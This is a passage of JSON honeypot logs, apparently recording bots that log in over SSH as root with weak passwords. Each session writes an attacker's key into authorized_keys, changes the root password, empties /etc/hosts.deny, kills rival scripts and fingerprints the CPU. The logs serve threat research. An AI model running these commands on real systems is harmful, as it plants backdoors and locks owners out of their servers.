AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:47:52.688806+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:47:53.170491+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:47:53.918595+00:00","kind":"input","latency_ms":null,"data":"echo \"root:CpNfHELTtRSh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:47:54.664153+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:47:55.410332+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:47:56.103222+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:47:56.850903+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:47:57.958138+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:47:58.706500+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:47:59.961837+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:48:00.711828+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:48:01.140860+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:48:01.889510+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:48:02.773860+00:00","kind":"output","latency_ms":null,"data":" 14:48:02 up 6 days, 11:38, 0 user, load average: 0.22, 0.19, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:48:03.522749+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:48:04.258743+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:48:05.007047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:48:05.328503+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:48:06.072994+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:48:06.442513+00:00","kind":"output","latency_ms":null,"data":"top - 14:48:06 up 6 days, 11:38, 0 user, load average: 0.22, 0.19, 0.18\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:48:07.190038+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:48:07.622047+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:48:08.370774+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:48:09.127107+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:48:09.874953+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:48:10.394166+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:48:11.142504+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:48:12.508255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:48:13.256814+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:48:14.315691+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"panasonic","method":"password","accepted":true,"tier":"other"}]} {"id":"79c82dc6-93a6-4f32-a42f-99c5dce541c0","name":"jaunty-seaward-impala","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":52042,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:45:40.096591+00:00","ended_at":"2026-08-26T14:45:41.726099+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:45:22.599505+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:45:22.897256+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:45:26.185563+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:45:26.904927+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:45:27.201766+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1SgKEBMa1yTl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:45:27.496721+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:45:27.794469+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:45:28.070296+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:45:28.365584+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:45:29.250140+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:45:29.548116+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:45:30.655424+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:45:30.954527+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:45:31.396645+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:45:31.691781+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:45:32.356960+00:00","kind":"output","latency_ms":null,"data":" 14:45:32 up 6 days, 11:35, 0 user, load average: 0.19, 0.19, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:45:32.653774+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:45:33.449122+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:45:33.743891+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:45:34.114716+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:45:34.411125+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:45:35.266801+00:00","kind":"output","latency_ms":null,"data":"top - 14:45:35 up 6 days, 11:35, 0 user, load average: 0.19, 0.19, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:45:35.562696+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:45:35.994136+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:45:36.290605+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:45:37.140748+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:45:37.436914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:45:38.302211+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:45:38.599783+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:45:39.801242+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:45:40.097097+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:45:41.638959+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aa123321","method":"password","accepted":true,"tier":"other"}]} {"id":"7598bea9-4da1-47d8-b026-d1a203a68e23","name":"sincere-tender-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40725,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":747,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:42:31.000515+00:00","ended_at":"2026-08-26T14:42:32.380142+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:42:04.254291+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:42:05.000706+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:42:10.872593+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:42:11.579531+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:42:12.324999+00:00","kind":"input","latency_ms":null,"data":"echo \"root:AOXwByFCnX70\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:42:13.070258+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:42:13.816489+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:42:14.388557+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:42:15.136129+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:42:16.099410+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:42:16.853735+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:42:17.911872+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:42:18.662674+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:42:19.225044+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:42:19.971674+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:42:20.635937+00:00","kind":"output","latency_ms":null,"data":" 14:42:20 up 6 days, 11:32, 0 user, load average: 0.06, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:42:21.380884+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:42:22.013068+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:42:22.762409+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:42:23.261283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:42:24.012143+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:42:24.581570+00:00","kind":"output","latency_ms":null,"data":"top - 14:42:24 up 6 days, 11:32, 0 user, load average: 0.06, 0.05, 0.06\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:42:25.332258+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:42:26.024145+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:42:26.773094+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:42:27.468667+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:42:28.214079+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:42:28.602720+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:42:29.349127+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:42:30.256548+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:42:31.001295+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:42:32.142185+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Test@123","method":"password","accepted":true,"tier":"other"}]} {"id":"8cec4606-d4d9-4140-bc74-2b5a8e888a1a","name":"scarlet-solar-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":51730,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":268,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:41:33.138217+00:00","ended_at":"2026-08-26T14:41:34.797637+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:41:15.370166+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:41:15.639130+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:41:19.805904+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:41:20.310946+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:41:20.580961+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qHW7sgVCTzwX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:41:20.850043+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:41:21.119152+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:41:21.891494+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:41:22.162356+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:41:23.085491+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:41:23.361599+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:41:24.377209+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:41:24.648782+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:41:25.024701+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:41:25.292487+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:41:25.823367+00:00","kind":"output","latency_ms":null,"data":" 14:41:25 up 6 days, 11:31, 0 user, load average: 0.12, 0.15, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:41:26.090106+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:41:26.628189+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:41:26.897861+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:41:27.740737+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:41:28.009787+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:41:28.841362+00:00","kind":"output","latency_ms":null,"data":"top - 14:41:28 up 6 days, 11:31, 0 user, load average: 0.12, 0.15, 0.13\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:41:29.110217+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:41:29.553720+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:41:29.822540+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:41:30.580534+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:41:30.849463+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:41:31.728618+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:41:31.998493+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:41:32.868427+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:41:33.138948+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:41:34.717762+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5432154321","method":"password","accepted":true,"tier":"other"}]} {"id":"fb4ca0ef-db05-46c4-b9fe-4cb668151541","name":"supple-quiet-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40722,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:39:42.710893+00:00","ended_at":"2026-08-26T14:39:44.286402+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:39:15.435572+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:39:16.183273+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:39:22.410659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:39:22.812236+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:39:23.562171+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ibGc9KqCGTKF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:39:24.308368+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:39:25.053531+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:39:25.620695+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:39:26.369783+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:39:27.260551+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:39:28.011015+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 